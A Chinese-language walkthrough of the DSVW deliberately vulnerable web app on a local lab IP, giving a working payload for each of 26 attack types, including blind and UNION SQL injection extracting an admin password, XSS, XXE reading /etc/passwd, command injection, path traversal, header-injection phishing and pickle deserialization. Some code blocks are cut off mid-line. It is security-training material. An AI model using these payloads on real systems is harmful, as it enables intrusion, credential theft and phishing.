Attacks:

- Blind SQL Injection (*boolean*) - vulnerable|exploit|info
- Blind SQL Injection (*time*) - vulnerable|exploit|info
- UNION SQL Injection - vulnerable|exploit|info
- Login Bypass - vulnerable|exploit|info
- HTTP Parameter Pollution - vulnerable|exploit|info
- Cross Site Scripting (*reflected*) - vulnerable|exploit|info
- Cross Site Scripting (*stored*) - vulnerable|exploit|info
- Cross Site Scripting (*DOM*) - vulnerable|exploit|info
- Cross Site Scripting (*JSONP*) - vulnerable|exploit|info
- XML External Entity (*local*) - vulnerable|exploit|info
- XML External Entity (*remote*) - vulnerable|exploit|info
- Server Side Request Forgery - vulnerable|exploit|info
- Blind XPath Injection (*boolean*) - vulnerable|exploit|info
- Cross Site Request Forgery - vulnerable|exploit|info
- Frame Injection (*phishing*) - vulnerable|exploit|info
- Frame Injection (*content spoofing*) - vulnerable|exploit|info
- Clickjacking - *|exploit|info
- Unvalidated Redirect - vulnerable|exploit|info
- Arbitrary Code Execution - vulnerable|exploit|info
- Full Path Disclosure - vulnerable|exploit|info
- Source Code Disclosure - vulnerable|exploit|info
- Path Traversal - vulnerable|exploit|info
- File Inclusion (*remote*) - vulnerable|exploit|info
- HTTP Header Injection (*phishing*) - vulnerable|exploit|info
- Component with Known Vulnerability (*pickle*) - vulnerable|exploit|info
- Denial of Service (*memory*) - vulnerable|exploit|info

Blind SQL Injection (*boolean*)

可以看到我们的ID是没有被单引号包裹的

是布尔型注入，正确有回显，错误没有回显

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='8'

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!'

所有admin的密码是7en8aiDoh!

Blind SQL Injection (*time*)

语句错误就不会沉睡

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='1111111111') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

语句正确就会沉睡几秒

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

UNION SQL Injection

联合注入语句

?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||','||password FROM users WHERE username='dricci')

Login Bypass

利用or 1=1绕过登录

login?username=admin&password='or '1' like '1

HTTP Parameter Pollution

参数污染就是重复断断续续的注释让waf以为这是注释从而绕过waf

login?username=admin&password='/**/or/**/'1'/**/like/**/'1

Cross Site Scripting (*reflected*)

直接在后面接上xss语句即可

<script>alert(/xss/)</script>

Cross Site Scripting (*stored*)

也是提交xss即可，因为是存储在数据库里面的，所有每次刷新都会弹框

Cross Site Scripting (*DOM*)

加上我们的xss代码，刷新一下即可

XML External Entity (*local*)

用xml语句来查看etc目录下的passwd文件

?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

XML External Entity (*remote*)

一样的语句

?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fpasswd">]><root>%26xxe%3B<%2Froot>

Server Side Request Forgery

?path=http://192.168.109.131

Blind XPath Injection (*boolean*)

?name=admin' and substring(password/text(),1,10)='7en8aiDoh!

Cross Site Request Forgery

?comment=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">

我们使用<img>标签来自动发布了一个红色字体的I quit the job评论

Frame Injection (*phishing*)

用Frame标签来进行钓鱼

```
<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;bo
```

Frame Injection (*content spoofing*)

和上一关同理

```
<iframe src="https://www.baidu.com" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:
```

Unvalidated Redirect

在redir处加上url即可跳转到百度页面

192.168.109.131/?redir=https://www.baidu.com

Arbitrary Code Execution

直接用分隔符隔开，然后接上直接的语句

ifconfig | whoami

Full Path Disclosure

直接给处http路径即可

192.168.109.131/?path=http://192.168.109.131

Source Code Disclosure

给出路即可阅历文件

192.168.109.131/?path=dsvw.py

Path Traversal

路径是可以越级的

?path=../../../../../../etc/passwd

File Inclusion (*remote*)

允许用户包含文件

192.168.109.131/?include=dsvw.py

HTTP Header Injection (*phishing*)

我们可以构造登录表格来诱导用户输出从而获取账号密码

代码块

```
?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Logi
```

当用户输入数据的时候会弹框然后跳转到我们指定的页面

Component with Known Vulnerability (*pickle*)

?object=cos%0Asystem%0A(S'ping -c 5 127.0.0.1'%0AtR.%0A

执行了ping 127.0.0.1的命令

Denial of Service (*memory*)

拒绝服务攻击通过大量的恶意请求来访问有缺陷的服务，从而让cup爆满。从而让用户无法正常操作

?size=99999，会发现一直在刷新